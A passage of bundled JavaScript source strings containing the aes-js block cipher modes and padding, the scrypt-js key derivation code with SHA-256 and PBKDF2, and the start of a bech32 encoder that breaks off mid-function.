i + 3] = (S[ t[(i + 3) % 4] & 0xff] ^ tt ) & 0xff;\n }\n\n return result;\n }\n\n AES.prototype.decrypt = function(ciphertext) {\n if (ciphertext.length != 16) {\n throw new Error('invalid ciphertext size (must be 16 bytes)');\n }\n\n var rounds = this._Kd.length - 1;\n var a = [0, 0, 0, 0];\n\n // convert plaintext to (ints ^ key)\n var t = convertToInt32(ciphertext);\n for (var i = 0; i < 4; i++) {\n t[i] ^= this._Kd[0][i];\n }\n\n // apply round transforms\n for (var r = 1; r < rounds; r++) {\n for (var i = 0; i < 4; i++) {\n a[i] = (T5[(t[ i ] >> 24) & 0xff] ^\n T6[(t[(i + 3) % 4] >> 16) & 0xff] ^\n T7[(t[(i + 2) % 4] >> 8) & 0xff] ^\n T8[ t[(i + 1) % 4] & 0xff] ^\n this._Kd[r][i]);\n }\n t = a.slice();\n }\n\n // the last round is special\n var result = createArray(16), tt;\n for (var i = 0; i < 4; i++) {\n tt = this._Kd[rounds][i];\n result[4 * i ] = (Si[(t[ i ] >> 24) & 0xff] ^ (tt >> 24)) & 0xff;\n result[4 * i + 1] = (Si[(t[(i + 3) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff;\n result[4 * i + 2] = (Si[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff;\n result[4 * i + 3] = (Si[ t[(i + 1) % 4] & 0xff] ^ tt ) & 0xff;\n }\n\n return result;\n }\n\n\n /**\n * Mode Of Operation - Electonic Codebook (ECB)\n */\n var ModeOfOperationECB = function(key) {\n if (!(this instanceof ModeOfOperationECB)) {\n throw Error('AES must be instanitated with `new`');\n }\n\n this.description = \"Electronic Code Block\";\n this.name = \"ecb\";\n\n this._aes = new AES(key);\n }\n\n ModeOfOperationECB.prototype.encrypt = function(plaintext) {\n plaintext = coerceArray(plaintext);\n\n if ((plaintext.length % 16) !== 0) {\n throw new Error('invalid plaintext size (must be multiple of 16 bytes)');\n }\n\n var ciphertext = createArray(plaintext.length);\n var block = createArray(16);\n\n for (var i = 0; i < plaintext.length; i += 16) {\n copyArray(plaintext, block, 0, i, i + 16);\n block = this._aes.encrypt(block);\n copyArray(block, ciphertext, i);\n }\n\n return ciphertext;\n }\n\n ModeOfOperationECB.prototype.decrypt = function(ciphertext) {\n ciphertext = coerceArray(ciphertext);\n\n if ((ciphertext.length % 16) !== 0) {\n throw new Error('invalid ciphertext size (must be multiple of 16 bytes)');\n }\n\n var plaintext = createArray(ciphertext.length);\n var block = createArray(16);\n\n for (var i = 0; i < ciphertext.length; i += 16) {\n copyArray(ciphertext, block, 0, i, i + 16);\n block = this._aes.decrypt(block);\n copyArray(block, plaintext, i);\n }\n\n return plaintext;\n }\n\n\n /**\n * Mode Of Operation - Cipher Block Chaining (CBC)\n */\n var ModeOfOperationCBC = function(key, iv) {\n if (!(this instanceof ModeOfOperationCBC)) {\n throw Error('AES must be instanitated with `new`');\n }\n\n this.description = \"Cipher Block Chaining\";\n this.name = \"cbc\";\n\n if (!iv) {\n iv = createArray(16);\n\n } else if (iv.length != 16) {\n throw new Error('invalid initialation vector size (must be 16 bytes)');\n }\n\n this._lastCipherblock = coerceArray(iv, true);\n\n this._aes = new AES(key);\n }\n\n ModeOfOperationCBC.prototype.encrypt = function(plaintext) {\n plaintext = coerceArray(plaintext);\n\n if ((plaintext.length % 16) !== 0) {\n throw new Error('invalid plaintext size (must be multiple of 16 bytes)');\n }\n\n var ciphertext = createArray(plaintext.length);\n var block = createArray(16);\n\n for (var i = 0; i < plaintext.length; i += 16) {\n copyArray(plaintext, block, 0, i, i + 16);\n\n for (var j = 0; j < 16; j++) {\n block[j] ^= this._lastCipherblock[j];\n }\n\n this._lastCipherblock = this._aes.encrypt(block);\n copyArray(this._lastCipherblock, ciphertext, i);\n }\n\n return ciphertext;\n }\n\n ModeOfOperationCBC.prototype.decrypt = function(ciphertext) {\n ciphertext = coerceArray(ciphertext);\n\n if ((ciphertext.length % 16) !== 0) {\n throw new Error('invalid ciphertext size (must be multiple of 16 bytes)');\n }\n\n var plaintext = createArray(ciphertext.length);\n var block = createArray(16);\n\n for (var i = 0; i < ciphertext.length; i += 16) {\n copyArray(ciphertext, block, 0, i, i + 16);\n block = this._aes.decrypt(block);\n\n for (var j = 0; j < 16; j++) {\n plaintext[i + j] = block[j] ^ this._lastCipherblock[j];\n }\n\n copyArray(ciphertext, this._lastCipherblock, 0, i, i + 16);\n }\n\n return plaintext;\n }\n\n\n /**\n * Mode Of Operation - Cipher Feedback (CFB)\n */\n var ModeOfOperationCFB = function(key, iv, segmentSize) {\n if (!(this instanceof ModeOfOperationCFB)) {\n throw Error('AES must be instanitated with `new`');\n }\n\n this.description = \"Cipher Feedback\";\n this.name = \"cfb\";\n\n if (!iv) {\n iv = createArray(16);\n\n } else if (iv.length != 16) {\n throw new Error('invalid initialation vector size (must be 16 size)');\n }\n\n if (!segmentSize) { segmentSize = 1; }\n\n this.segmentSize = segmentSize;\n\n this._shiftRegister = coerceArray(iv, true);\n\n this._aes = new AES(key);\n }\n\n ModeOfOperationCFB.prototype.encrypt = function(plaintext) {\n if ((plaintext.length % this.segmentSize) != 0) {\n throw new Error('invalid plaintext size (must be segmentSize bytes)');\n }\n\n var encrypted = coerceArray(plaintext, true);\n\n var xorSegment;\n for (var i = 0; i < encrypted.length; i += this.segmentSize) {\n xorSegment = this._aes.encrypt(this._shiftRegister);\n for (var j = 0; j < this.segmentSize; j++) {\n encrypted[i + j] ^= xorSegment[j];\n }\n\n // Shift the register\n copyArray(this._shiftRegister, this._shiftRegister, 0, this.segmentSize);\n copyArray(encrypted, this._shiftRegister, 16 - this.segmentSize, i, i + this.segmentSize);\n }\n\n return encrypted;\n }\n\n ModeOfOperationCFB.prototype.decrypt = function(ciphertext) {\n if ((ciphertext.length % this.segmentSize) != 0) {\n throw new Error('invalid ciphertext size (must be segmentSize bytes)');\n }\n\n var plaintext = coerceArray(ciphertext, true);\n\n var xorSegment;\n for (var i = 0; i < plaintext.length; i += this.segmentSize) {\n xorSegment = this._aes.encrypt(this._shiftRegister);\n\n for (var j = 0; j < this.segmentSize; j++) {\n plaintext[i + j] ^= xorSegment[j];\n }\n\n // Shift the register\n copyArray(this._shiftRegister, this._shiftRegister, 0, this.segmentSize);\n copyArray(ciphertext, this._shiftRegister, 16 - this.segmentSize, i, i + this.segmentSize);\n }\n\n return plaintext;\n }\n\n /**\n * Mode Of Operation - Output Feedback (OFB)\n */\n var ModeOfOperationOFB = function(key, iv) {\n if (!(this instanceof ModeOfOperationOFB)) {\n throw Error('AES must be instanitated with `new`');\n }\n\n this.description = \"Output Feedback\";\n this.name = \"ofb\";\n\n if (!iv) {\n iv = createArray(16);\n\n } else if (iv.length != 16) {\n throw new Error('invalid initialation vector size (must be 16 bytes)');\n }\n\n this._lastPrecipher = coerceArray(iv, true);\n this._lastPrecipherIndex = 16;\n\n this._aes = new AES(key);\n }\n\n ModeOfOperationOFB.prototype.encrypt = function(plaintext) {\n var encrypted = coerceArray(plaintext, true);\n\n for (var i = 0; i < encrypted.length; i++) {\n if (this._lastPrecipherIndex === 16) {\n this._lastPrecipher = this._aes.encrypt(this._lastPrecipher);\n this._lastPrecipherIndex = 0;\n }\n encrypted[i] ^= this._lastPrecipher[this._lastPrecipherIndex++];\n }\n\n return encrypted;\n }\n\n // Decryption is symetric\n ModeOfOperationOFB.prototype.decrypt = ModeOfOperationOFB.prototype.encrypt;\n\n\n /**\n * Counter object for CTR common mode of operation\n */\n var Counter = function(initialValue) {\n if (!(this instanceof Counter)) {\n throw Error('Counter must be instanitated with `new`');\n }\n\n // We allow 0, but anything false-ish uses the default 1\n if (initialValue !== 0 && !initialValue) { initialValue = 1; }\n\n if (typeof(initialValue) === 'number') {\n this._counter = createArray(16);\n this.setValue(initialValue);\n\n } else {\n this.setBytes(initialValue);\n }\n }\n\n Counter.prototype.setValue = function(value) {\n if (typeof(value) !== 'number' || parseInt(value) != value) {\n throw new Error('invalid counter value (must be an integer)');\n }\n\n for (var index = 15; index >= 0; --index) {\n this._counter[index] = value % 256;\n value = value >> 8;\n }\n }\n\n Counter.prototype.setBytes = function(bytes) {\n bytes = coerceArray(bytes, true);\n\n if (bytes.length != 16) {\n throw new Error('invalid counter bytes size (must be 16 bytes)');\n }\n\n this._counter = bytes;\n };\n\n Counter.prototype.increment = function() {\n for (var i = 15; i >= 0; i--) {\n if (this._counter[i] === 255) {\n this._counter[i] = 0;\n } else {\n this._counter[i]++;\n break;\n }\n }\n }\n\n\n /**\n * Mode Of Operation - Counter (CTR)\n */\n var ModeOfOperationCTR = function(key, counter) {\n if (!(this instanceof ModeOfOperationCTR)) {\n throw Error('AES must be instanitated with `new`');\n }\n\n this.description = \"Counter\";\n this.name = \"ctr\";\n\n if (!(counter instanceof Counter)) {\n counter = new Counter(counter)\n }\n\n this._counter = counter;\n\n this._remainingCounter = null;\n this._remainingCounterIndex = 16;\n\n this._aes = new AES(key);\n }\n\n ModeOfOperationCTR.prototype.encrypt = function(plaintext) {\n var encrypted = coerceArray(plaintext, true);\n\n for (var i = 0; i < encrypted.length; i++) {\n if (this._remainingCounterIndex === 16) {\n this._remainingCounter = this._aes.encrypt(this._counter._counter);\n this._remainingCounterIndex = 0;\n this._counter.increment();\n }\n encrypted[i] ^= this._remainingCounter[this._remainingCounterIndex++];\n }\n\n return encrypted;\n }\n\n // Decryption is symetric\n ModeOfOperationCTR.prototype.decrypt = ModeOfOperationCTR.prototype.encrypt;\n\n\n ///////////////////////\n // Padding\n\n // See:https://tools.ietf.org/html/rfc2315\n function pkcs7pad(data) {\n data = coerceArray(data, true);\n var padder = 16 - (data.length % 16);\n var result = createArray(data.length + padder);\n copyArray(data, result);\n for (var i = data.length; i < result.length; i++) {\n result[i] = padder;\n }\n return result;\n }\n\n function pkcs7strip(data) {\n data = coerceArray(data, true);\n if (data.length < 16) { throw new Error('PKCS#7 invalid length'); }\n\n var padder = data[data.length - 1];\n if (padder > 16) { throw new Error('PKCS#7 padding byte out of range'); }\n\n var length = data.length - padder;\n for (var i = 0; i < padder; i++) {\n if (data[length + i] !== padder) {\n throw new Error('PKCS#7 invalid padding byte');\n }\n }\n\n var result = createArray(length);\n copyArray(data, result, 0, 0, length);\n return result;\n }\n\n ///////////////////////\n // Exporting\n\n\n // The block cipher\n var aesjs = {\n AES: AES,\n Counter: Counter,\n\n ModeOfOperation: {\n ecb: ModeOfOperationECB,\n cbc: ModeOfOperationCBC,\n cfb: ModeOfOperationCFB,\n ofb: ModeOfOperationOFB,\n ctr: ModeOfOperationCTR\n },\n\n utils: {\n hex: convertHex,\n utf8: convertUtf8\n },\n\n padding: {\n pkcs7: {\n pad: pkcs7pad,\n strip: pkcs7strip\n }\n },\n\n _arrayTest: {\n coerceArray: coerceArray,\n createArray: createArray,\n copyArray: copyArray,\n }\n };\n\n\n // node.js\n if (typeof exports !== 'undefined') {\n module.exports = aesjs\n\n // RequireJS/AMD\n // http://www.requirejs.org/docs/api.html\n // https://github.com/amdjs/amdjs-api/wiki/AMD\n } else if (typeof(define) === 'function' && define.amd) {\n define(aesjs);\n\n // Web Browsers\n } else {\n\n // If there was an existing library at \"aesjs\" make sure it's still available\n if (root.aesjs) {\n aesjs._aesjs = root.aesjs;\n }\n\n root.aesjs = aesjs;\n }\n\n\n})(this);\n", "\"use strict\";\n\n(function(root) {\n const MAX_VALUE = 0x7fffffff;\n\n // The SHA256 and PBKDF2 implementation are from scrypt-async-js:\n // See: https://github.com/dchest/scrypt-async-js\n function SHA256(m) {\n const K = new Uint32Array([\n 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b,\n 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01,\n 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7,\n 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,\n 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152,\n 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147,\n 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc,\n 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,\n 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819,\n 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08,\n 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f,\n 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,\n 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2\n ]);\n\n let h0 = 0x6a09e667, h1 = 0xbb67ae85, h2 = 0x3c6ef372, h3 = 0xa54ff53a;\n let h4 = 0x510e527f, h5 = 0x9b05688c, h6 = 0x1f83d9ab, h7 = 0x5be0cd19;\n const w = new Uint32Array(64);\n\n function blocks(p) {\n let off = 0, len = p.length;\n while (len >= 64) {\n let a = h0, b = h1, c = h2, d = h3, e = h4, f = h5, g = h6, h = h7, u, i, j, t1, t2;\n\n for (i = 0; i < 16; i++) {\n j = off + i*4;\n w[i] = ((p[j] & 0xff)<<24) | ((p[j+1] & 0xff)<<16) |\n ((p[j+2] & 0xff)<<8) | (p[j+3] & 0xff);\n }\n\n for (i = 16; i < 64; i++) {\n u = w[i-2];\n t1 = ((u>>>17) | (u<<(32-17))) ^ ((u>>>19) | (u<<(32-19))) ^ (u>>>10);\n\n u = w[i-15];\n t2 = ((u>>>7) | (u<<(32-7))) ^ ((u>>>18) | (u<<(32-18))) ^ (u>>>3);\n\n w[i] = (((t1 + w[i-7]) | 0) + ((t2 + w[i-16]) | 0)) | 0;\n }\n\n for (i = 0; i < 64; i++) {\n t1 = ((((((e>>>6) | (e<<(32-6))) ^ ((e>>>11) | (e<<(32-11))) ^\n ((e>>>25) | (e<<(32-25)))) + ((e & f) ^ (~e & g))) | 0) +\n ((h + ((K[i] + w[i]) | 0)) | 0)) | 0;\n\n t2 = ((((a>>>2) | (a<<(32-2))) ^ ((a>>>13) | (a<<(32-13))) ^\n ((a>>>22) | (a<<(32-22)))) + ((a & b) ^ (a & c) ^ (b & c))) | 0;\n\n h = g;\n g = f;\n f = e;\n e = (d + t1) | 0;\n d = c;\n c = b;\n b = a;\n a = (t1 + t2) | 0;\n }\n\n h0 = (h0 + a) | 0;\n h1 = (h1 + b) | 0;\n h2 = (h2 + c) | 0;\n h3 = (h3 + d) | 0;\n h4 = (h4 + e) | 0;\n h5 = (h5 + f) | 0;\n h6 = (h6 + g) | 0;\n h7 = (h7 + h) | 0;\n\n off += 64;\n len -= 64;\n }\n }\n\n blocks(m);\n\n let i, bytesLeft = m.length % 64,\n bitLenHi = (m.length / 0x20000000) | 0,\n bitLenLo = m.length << 3,\n numZeros = (bytesLeft < 56) ? 56 : 120,\n p = m.slice(m.length - bytesLeft, m.length);\n\n p.push(0x80);\n for (i = bytesLeft + 1; i < numZeros; i++) { p.push(0); }\n p.push((bitLenHi >>> 24) & 0xff);\n p.push((bitLenHi >>> 16) & 0xff);\n p.push((bitLenHi >>> 8) & 0xff);\n p.push((bitLenHi >>> 0) & 0xff);\n p.push((bitLenLo >>> 24) & 0xff);\n p.push((bitLenLo >>> 16) & 0xff);\n p.push((bitLenLo >>> 8) & 0xff);\n p.push((bitLenLo >>> 0) & 0xff);\n\n blocks(p);\n\n return [\n (h0 >>> 24) & 0xff, (h0 >>> 16) & 0xff, (h0 >>> 8) & 0xff, (h0 >>> 0) & 0xff,\n (h1 >>> 24) & 0xff, (h1 >>> 16) & 0xff, (h1 >>> 8) & 0xff, (h1 >>> 0) & 0xff,\n (h2 >>> 24) & 0xff, (h2 >>> 16) & 0xff, (h2 >>> 8) & 0xff, (h2 >>> 0) & 0xff,\n (h3 >>> 24) & 0xff, (h3 >>> 16) & 0xff, (h3 >>> 8) & 0xff, (h3 >>> 0) & 0xff,\n (h4 >>> 24) & 0xff, (h4 >>> 16) & 0xff, (h4 >>> 8) & 0xff, (h4 >>> 0) & 0xff,\n (h5 >>> 24) & 0xff, (h5 >>> 16) & 0xff, (h5 >>> 8) & 0xff, (h5 >>> 0) & 0xff,\n (h6 >>> 24) & 0xff, (h6 >>> 16) & 0xff, (h6 >>> 8) & 0xff, (h6 >>> 0) & 0xff,\n (h7 >>> 24) & 0xff, (h7 >>> 16) & 0xff, (h7 >>> 8) & 0xff, (h7 >>> 0) & 0xff\n ];\n }\n\n function PBKDF2_HMAC_SHA256_OneIter(password, salt, dkLen) {\n // compress password if it's longer than hash block length\n password = (password.length <= 64) ? password : SHA256(password);\n\n const innerLen = 64 + salt.length + 4;\n const inner = new Array(innerLen);\n const outerKey = new Array(64);\n\n let i;\n let dk = [];\n\n // inner = (password ^ ipad) || salt || counter\n for (i = 0; i < 64; i++) { inner[i] = 0x36; }\n for (i = 0; i < password.length; i++) { inner[i] ^= password[i]; }\n for (i = 0; i < salt.length; i++) { inner[64 + i] = salt[i]; }\n for (i = innerLen - 4; i < innerLen; i++) { inner[i] = 0; }\n\n // outerKey = password ^ opad\n for (i = 0; i < 64; i++) outerKey[i] = 0x5c;\n for (i = 0; i < password.length; i++) outerKey[i] ^= password[i];\n\n // increments counter inside inner\n function incrementCounter() {\n for (let i = innerLen - 1; i >= innerLen - 4; i--) {\n inner[i]++;\n if (inner[i] <= 0xff) return;\n inner[i] = 0;\n }\n }\n\n // output blocks = SHA256(outerKey || SHA256(inner)) ...\n while (dkLen >= 32) {\n incrementCounter();\n dk = dk.concat(SHA256(outerKey.concat(SHA256(inner))));\n dkLen -= 32;\n }\n if (dkLen > 0) {\n incrementCounter();\n dk = dk.concat(SHA256(outerKey.concat(SHA256(inner))).slice(0, dkLen));\n }\n\n return dk;\n }\n\n // The following is an adaptation of scryptsy\n // See: https://www.npmjs.com/package/scryptsy\n function blockmix_salsa8(BY, Yi, r, x, _X) {\n let i;\n\n arraycopy(BY, (2 * r - 1) * 16, _X, 0, 16);\n for (i = 0; i < 2 * r; i++) {\n blockxor(BY, i * 16, _X, 16);\n salsa20_8(_X, x);\n arraycopy(_X, 0, BY, Yi + (i * 16), 16);\n }\n\n for (i = 0; i < r; i++) {\n arraycopy(BY, Yi + (i * 2) * 16, BY, (i * 16), 16);\n }\n\n for (i = 0; i < r; i++) {\n arraycopy(BY, Yi + (i * 2 + 1) * 16, BY, (i + r) * 16, 16);\n }\n }\n\n function R(a, b) {\n return (a << b) | (a >>> (32 - b));\n }\n\n function salsa20_8(B, x) {\n arraycopy(B, 0, x, 0, 16);\n\n for (let i = 8; i > 0; i -= 2) {\n x[ 4] ^= R(x[ 0] + x[12], 7);\n x[ 8] ^= R(x[ 4] + x[ 0], 9);\n x[12] ^= R(x[ 8] + x[ 4], 13);\n x[ 0] ^= R(x[12] + x[ 8], 18);\n x[ 9] ^= R(x[ 5] + x[ 1], 7);\n x[13] ^= R(x[ 9] + x[ 5], 9);\n x[ 1] ^= R(x[13] + x[ 9], 13);\n x[ 5] ^= R(x[ 1] + x[13], 18);\n x[14] ^= R(x[10] + x[ 6], 7);\n x[ 2] ^= R(x[14] + x[10], 9);\n x[ 6] ^= R(x[ 2] + x[14], 13);\n x[10] ^= R(x[ 6] + x[ 2], 18);\n x[ 3] ^= R(x[15] + x[11], 7);\n x[ 7] ^= R(x[ 3] + x[15], 9);\n x[11] ^= R(x[ 7] + x[ 3], 13);\n x[15] ^= R(x[11] + x[ 7], 18);\n x[ 1] ^= R(x[ 0] + x[ 3], 7);\n x[ 2] ^= R(x[ 1] + x[ 0], 9);\n x[ 3] ^= R(x[ 2] + x[ 1], 13);\n x[ 0] ^= R(x[ 3] + x[ 2], 18);\n x[ 6] ^= R(x[ 5] + x[ 4], 7);\n x[ 7] ^= R(x[ 6] + x[ 5], 9);\n x[ 4] ^= R(x[ 7] + x[ 6], 13);\n x[ 5] ^= R(x[ 4] + x[ 7], 18);\n x[11] ^= R(x[10] + x[ 9], 7);\n x[ 8] ^= R(x[11] + x[10], 9);\n x[ 9] ^= R(x[ 8] + x[11], 13);\n x[10] ^= R(x[ 9] + x[ 8], 18);\n x[12] ^= R(x[15] + x[14], 7);\n x[13] ^= R(x[12] + x[15], 9);\n x[14] ^= R(x[13] + x[12], 13);\n x[15] ^= R(x[14] + x[13], 18);\n }\n\n for (let i = 0; i < 16; ++i) {\n B[i] += x[i];\n }\n }\n\n // naive approach... going back to loop unrolling may yield additional performance\n function blockxor(S, Si, D, len) {\n for (let i = 0; i < len; i++) {\n D[i] ^= S[Si + i]\n }\n }\n\n function arraycopy(src, srcPos, dest, destPos, length) {\n while (length--) {\n dest[destPos++] = src[srcPos++];\n }\n }\n\n function checkBufferish(o) {\n if (!o || typeof(o.length) !== 'number') { return false; }\n\n for (let i = 0; i < o.length; i++) {\n const v = o[i];\n if (typeof(v) !== 'number' || v % 1 || v < 0 || v >= 256) {\n return false;\n }\n }\n\n return true;\n }\n\n function ensureInteger(value, name) {\n if (typeof(value) !== \"number\" || (value % 1)) { throw new Error('invalid ' + name); }\n return value;\n }\n\n // N = Cpu cost, r = Memory cost, p = parallelization cost\n // callback(error, progress, key)\n function _scrypt(password, salt, N, r, p, dkLen, callback) {\n\n N = ensureInteger(N, 'N');\n r = ensureInteger(r, 'r');\n p = ensureInteger(p, 'p');\n\n dkLen = ensureInteger(dkLen, 'dkLen');\n\n if (N === 0 || (N & (N - 1)) !== 0) { throw new Error('N must be power of 2'); }\n\n if (N > MAX_VALUE / 128 / r) { throw new Error('N too large'); }\n if (r > MAX_VALUE / 128 / p) { throw new Error('r too large'); }\n\n if (!checkBufferish(password)) {\n throw new Error('password must be an array or buffer');\n }\n password = Array.prototype.slice.call(password);\n\n if (!checkBufferish(salt)) {\n throw new Error('salt must be an array or buffer');\n }\n salt = Array.prototype.slice.call(salt);\n\n let b = PBKDF2_HMAC_SHA256_OneIter(password, salt, p * 128 * r);\n const B = new Uint32Array(p * 32 * r)\n for (let i = 0; i < B.length; i++) {\n const j = i * 4;\n B[i] = ((b[j + 3] & 0xff) << 24) |\n ((b[j + 2] & 0xff) << 16) |\n ((b[j + 1] & 0xff) << 8) |\n ((b[j + 0] & 0xff) << 0);\n }\n\n const XY = new Uint32Array(64 * r);\n const V = new Uint32Array(32 * r * N);\n\n const Yi = 32 * r;\n\n // scratch space\n const x = new Uint32Array(16); // salsa20_8\n const _X = new Uint32Array(16); // blockmix_salsa8\n\n const totalOps = p * N * 2;\n let currentOp = 0;\n let lastPercent10 = null;\n\n // Set this to true to abandon the scrypt on the next step\n let stop = false;\n\n // State information\n let state = 0;\n let i0 = 0, i1;\n let Bi;\n\n // How many blockmix_salsa8 can we do per step?\n const limit = callback ? parseInt(1000 / r): 0xffffffff;\n\n // Trick from scrypt-async; if there is a setImmediate shim in place, use it\n const nextTick = (typeof(setImmediate) !== 'undefined') ? setImmediate : setTimeout;\n\n // This is really all I changed; making scryptsy a state machine so we occasionally\n // stop and give other evnts on the evnt loop a chance to run. ~RicMoo\n const incrementalSMix = function() {\n if (stop) {\n return callback(new Error('cancelled'), currentOp / totalOps);\n }\n\n let steps;\n\n switch (state) {\n case 0:\n // for (var i = 0; i < p; i++)...\n Bi = i0 * 32 * r;\n\n arraycopy(B, Bi, XY, 0, Yi); // ROMix - 1\n\n state = 1; // Move to ROMix 2\n i1 = 0;\n\n // Fall through\n\n case 1:\n\n // Run up to 1000 steps of the first inner smix loop\n steps = N - i1;\n if (steps > limit) { steps = limit; }\n for (let i = 0; i < steps; i++) { // ROMix - 2\n arraycopy(XY, 0, V, (i1 + i) * Yi, Yi) // ROMix - 3\n blockmix_salsa8(XY, Yi, r, x, _X); // ROMix - 4\n }\n\n // for (var i = 0; i < N; i++)\n i1 += steps;\n currentOp += steps;\n\n if (callback) {\n // Call the callback with the progress (optionally stopping us)\n const percent10 = parseInt(1000 * currentOp / totalOps);\n if (percent10 !== lastPercent10) {\n stop = callback(null, currentOp / totalOps);\n if (stop) { break; }\n lastPercent10 = percent10;\n }\n }\n\n if (i1 < N) { break; }\n\n i1 = 0; // Move to ROMix 6\n state = 2;\n\n // Fall through\n\n case 2:\n\n // Run up to 1000 steps of the second inner smix loop\n steps = N - i1;\n if (steps > limit) { steps = limit; }\n for (let i = 0; i < steps; i++) { // ROMix - 6\n const offset = (2 * r - 1) * 16; // ROMix - 7\n const j = XY[offset] & (N - 1);\n blockxor(V, j * Yi, XY, Yi); // ROMix - 8 (inner)\n blockmix_salsa8(XY, Yi, r, x, _X); // ROMix - 9 (outer)\n }\n\n // for (var i = 0; i < N; i++)...\n i1 += steps;\n currentOp += steps;\n\n // Call the callback with the progress (optionally stopping us)\n if (callback) {\n const percent10 = parseInt(1000 * currentOp / totalOps);\n if (percent10 !== lastPercent10) {\n stop = callback(null, currentOp / totalOps);\n if (stop) { break; }\n lastPercent10 = percent10;\n }\n }\n\n if (i1 < N) { break; }\n\n arraycopy(XY, 0, B, Bi, Yi); // ROMix - 10\n\n // for (var i = 0; i < p; i++)...\n i0++;\n if (i0 < p) {\n state = 0;\n break;\n }\n\n b = [];\n for (let i = 0; i < B.length; i++) {\n b.push((B[i] >> 0) & 0xff);\n b.push((B[i] >> 8) & 0xff);\n b.push((B[i] >> 16) & 0xff);\n b.push((B[i] >> 24) & 0xff);\n }\n\n const derivedKey = PBKDF2_HMAC_SHA256_OneIter(password, b, dkLen);\n\n // Send the result to the callback\n if (callback) { callback(null, 1.0, derivedKey); }\n\n // Done; don't break (which would reschedule)\n return derivedKey;\n }\n\n // Schedule the next steps\n if (callback) { nextTick(incrementalSMix); }\n }\n\n // Run the smix state machine until completion\n if (!callback) {\n while (true) {\n const derivedKey = incrementalSMix();\n if (derivedKey != undefined) { return derivedKey; }\n }\n }\n\n // Bootstrap the async incremental smix\n incrementalSMix();\n }\n\n const lib = {\n scrypt: function(password, salt, N, r, p, dkLen, progressCallback) {\n return new Promise(function(resolve, reject) {\n let lastProgress = 0;\n if (progressCallback) { progressCallback(0); }\n _scrypt(password, salt, N, r, p, dkLen, function(error, progress, key) {\n if (error) {\n reject(error);\n } else if (key) {\n if (progressCallback && lastProgress !== 1) {\n progressCallback(1);\n }\n resolve(new Uint8Array(key));\n } else if (progressCallback && progress !== lastProgress) {\n lastProgress = progress;\n return progressCallback(progress);\n }\n });\n });\n },\n syncScrypt: function(password, salt, N, r, p, dkLen) {\n return new Uint8Array(_scrypt(password, salt, N, r, p, dkLen));\n }\n };\n\n // node.js\n if (typeof(exports) !== 'undefined') {\n module.exports = lib;\n\n // RequireJS/AMD\n // http://www.requirejs.org/docs/api.html\n // https://github.com/amdjs/amdjs-api/wiki/AMD\n } else if (typeof(define) === 'function' && define.amd) {\n define(lib);\n\n // Web Browsers\n } else if (root) {\n\n // If there was an existing library \"scrypt\", make sure it is still available\n if (root.scrypt) {\n root._scrypt = root.scrypt;\n }\n\n root.scrypt = lib;\n }\n\n})(this);\n", "'use strict'\nvar ALPHABET = 'qpzry9x8gf2tvdw0s3jn54khce6mua7l'\n\n// pre-compute lookup table\nvar ALPHABET_MAP = {}\nfor (var z = 0; z < ALPHABET.length; z++) {\n var x = ALPHABET.charAt(z)\n\n if (ALPHABET_MAP[x] !== undefined) throw new TypeError(x + ' is ambiguous')\n ALPHABET_MAP[x] = z\n}\n\nfunction polymodStep (pre) {\n var b = pre >> 25\n return ((pre & 0x1FFFFFF) << 5) ^\n (-((b >> 0) & 1) & 0x3b6a57b2) ^\n (-((b >> 1) & 1) & 0x26508e6d) ^\n (-((b >> 2) & 1) & 0x1ea119fa) ^\n (-((b >> 3) & 1) & 0x3d4233dd) ^\n (-((b >> 4) & 1) & 0x2a1462b3)\n}\n\nfunction prefixChk (prefix) {\n var chk = 1\n for (var i = 0; i < prefix.length; ++i) {\n var c = prefix.charCodeAt(i)\n if (c < 33 || c > 126) return 'Invalid prefix (' + prefix + ')'\n\n chk = polymodStep(chk) ^ (c >> 5)\n }\n chk = polymodStep(chk)\n\n for (i = 0; i < prefix.length; ++i) {\n var v = prefix.charCodeAt(i)\n chk = polymodStep(chk) ^ (v & 0x1f)\n }\n return chk\n}\n\nfunction encode (prefix, words, LIMIT) {\n LIMIT = LIMIT || 90\n if ((prefix.length + 7 + words.length) > LIMIT) throw new TypeError('Exceeds length limit')\n\n prefix = prefix.toLowerCase()\n\n // determine chk mod\n var chk = prefixChk(prefix)\n if (typeof chk === 'string') throw new Error(chk)\n\n var result = prefix + '1'\n for (var i = 0; i < words.length; ++i) {\n var x = words[i]\n if ((x >> 5) !== 0) throw new Error('Non 5-bit word')\n\n chk = polymodStep(chk) ^ x\n result += ALPHABET.charAt(x)\n }\n\n for (i = 0; i < 6; ++i) {\n chk = polymodStep(chk)\n }\n chk ^= 1\n\n for (i = 0; i < 6; ++i) {\n var v = (chk >> ((5 - i) * 5)) & 0x1f\n result += ALPHABET.charAt(v)\n }\n\n return result\n}\n\nfunction __decode (str, LIMIT) {\n LIMIT = LIMIT || 90\n if (str.length < 8) return str + ' too short'\n if (str.length > LIMIT) return 'Exceeds length limit'\n\n // don't allow mixed case\n var lowered = str.toLowerCase()\n var uppered = str.toUpperCase()\n if (str !== lowered && str !== uppered) return 'Mixed-case string ' + str\n str = lowered\n\n var split = str.lastIndexOf('1')\n if (split === -1) return 'No separator character for ' + str\n if (split === 0) return 'Missing prefix for ' + str\n\n var prefix = str.slice(0, split)\n var wordChars = str.slice(split + 1)\n if (wordChars.length < 6) return 'Data too short'\n\n var chk = prefixChk(prefix)\n if (typeof chk === 'string') return 